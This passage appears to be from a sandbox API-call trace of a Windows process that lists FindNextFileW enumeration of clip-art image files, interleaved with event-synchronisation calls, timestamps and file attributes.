ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099159.WMF", cAlternateFileName="")) returned 1 [0253.720] ResetEvent (hEvent=0x2b8) returned 1 [0253.721] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.723] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099160.JPG", cAlternateFileName="")) returned 1 [0253.723] ResetEvent (hEvent=0x2b8) returned 1 [0253.723] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.744] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099161.JPG", cAlternateFileName="")) returned 1 [0253.744] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099162.JPG", cAlternateFileName="")) returned 1 [0253.744] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5754, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099163.WMF", cAlternateFileName="")) returned 1 [0253.745] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099164.WMF", cAlternateFileName="")) returned 1 [0253.745] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099165.JPG", cAlternateFileName="")) returned 1 [0253.745] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfcff, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099166.JPG", cAlternateFileName="")) returned 1 [0253.745] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xabad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099167.JPG", cAlternateFileName="")) returned 1 [0253.746] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ed3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099168.JPG", cAlternateFileName="")) returned 1 [0253.746] ResetEvent (hEvent=0x2b8) returned 1 [0253.746] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.756] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099169.WMF", cAlternateFileName="")) returned 1 [0253.756] ResetEvent (hEvent=0x2b8) returned 1 [0253.756] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.760] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099170.WMF", cAlternateFileName="")) returned 1 [0253.760] ResetEvent (hEvent=0x2b8) returned 1 [0253.761] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.763] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099171.WMF", cAlternateFileName="")) returned 1 [0253.763] ResetEvent (hEvent=0x2b8) returned 1 [0253.763] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.776] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe392, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099172.WMF", cAlternateFileName="")) returned 1 [0253.776] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9114, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099173.WMF", cAlternateFileName="")) returned 1 [0253.776] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1846, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099174.WMF", cAlternateFileName="")) returned 1 [0253.776] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2610, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099175.WMF", cAlternateFileName="")) returned 1 [0253.777] ResetEvent (hEvent=0x2b8) returned 1 [0253.777] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.780] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099176.WMF", cAlternateFileName="")) returned 1 [0253.781] ResetEvent (hEvent=0x2b8) returned 1 [0253.781] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.783] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x150a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099177.WMF", cAlternateFileName="")) returned 1 [0253.783] ResetEvent (hEvent=0x2b8) returned 1 [0253.783] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.799] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099178.WMF", cAlternateFileName="")) returned 1 [0253.800] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x23c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099179.WMF", cAlternateFileName="")) returned 1 [0253.801] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099180.WMF", cAlternateFileName="")) returned 1 [0253.801] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099181.WMF", cAlternateFileName="")) returned 1 [0253.801] ResetEvent (hEvent=0x2b8) returned 1 [0253.801] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.043] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099182.WMF", cAlternateFileName="")) returned 1 [0254.043] ResetEvent (hEvent=0x2b8) returned 1 [0254.043] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.063] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1352, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099183.WMF", cAlternateFileName="")) returned 1 [0254.064] ResetEvent (hEvent=0x2b8) returned 1 [0254.065] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.081] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099184.WMF", cAlternateFileName="")) returned 1 [0254.081] ResetEvent (hEvent=0x2b8) returned 1 [0254.081] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.090] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe56c811, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe56c811, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe59294b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099185.JPG", cAlternateFileName="")) returned 1 [0254.090] ResetEvent (hEvent=0x2b8) returned 1 [0254.090] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.106] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe56c811, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe56c811, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe56c811, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099186.JPG", cAlternateFileName="")) returned 1 [0254.107] ResetEvent (hEvent=0x2b8) returned 1 [0254.108] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.111] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe18c9a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe18c9a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe56c811, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099187.JPG", cAlternateFileName="")) returned 1 [0254.111] ResetEvent (hEvent=0x2b8) returned 1 [0254.112] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.124] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe18c9a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe18c9a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe56c811, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2378, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099188.JPG", cAlternateFileName="")) returned 1 [0254.125] ResetEvent (hEvent=0x2b8) returned 1 [0254.125] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.134] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe18c9a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099189.JPG", cAlternateFileName="")) returned 1 [0254.135] ResetEvent (hEvent=0x2b8) returned 1 [0254.135] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.141] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099190.JPG", cAlternateFileName="")) returned 1 [0254.142] ResetEvent (hEvent=0x2b8) returned 1 [0254.142] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.160] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe56c811, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099191.JPG", cAlternateFileName="")) returned 1 [0254.161] ResetEvent (hEvent=0x2b8) returned 1 [0254.161] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.169] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe56c811, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x462c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099192.GIF", cAlternateFileName="")) returned 1 [0254.169] ResetEvent (hEvent=0x2b8) returned 1 [0254.169] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.175] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099193.GIF", cAlternateFileName="")) returned 1 [0254.175] ResetEvent (hEvent=0x2b8) returned 1 [0254.176] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.180] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe18c9a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x62b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099194.GIF", cAlternateFileName="")) returned 1 [0254.180] ResetEvent (hEvent=0x2b8) returned 1 [0254.180] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.891] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe59294b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe59294b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe5dee50, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099195.GIF", cAlternateFileName="")) returned 1 [0254.892] ResetEvent (hEvent=0x2b8) returned 1 [0254.892] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.903] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe59294b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe59294b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe59294b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3801, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099196.GIF", cAlternateFileName="")) returned 1 [0254.903] ResetEvent (hEvent=0x2b8) returned 1 [0254.904] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.930] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe59294b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe59294b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe59294b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099197.GIF", cAlternateFileName="")) returned 1 [0254.931] ResetEvent (hEvent=0x2b8) returned 1 [0254.931] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.935] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe59294b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe59294b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe59294b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x148b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099198.GIF", cAlternateFileName="")) returned 1 [0254.936] ResetEvent (hEvent=0x2b8) returned 1 [0254.936] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0254.946] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe59294b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe59294b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe59294b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099199.GIF", 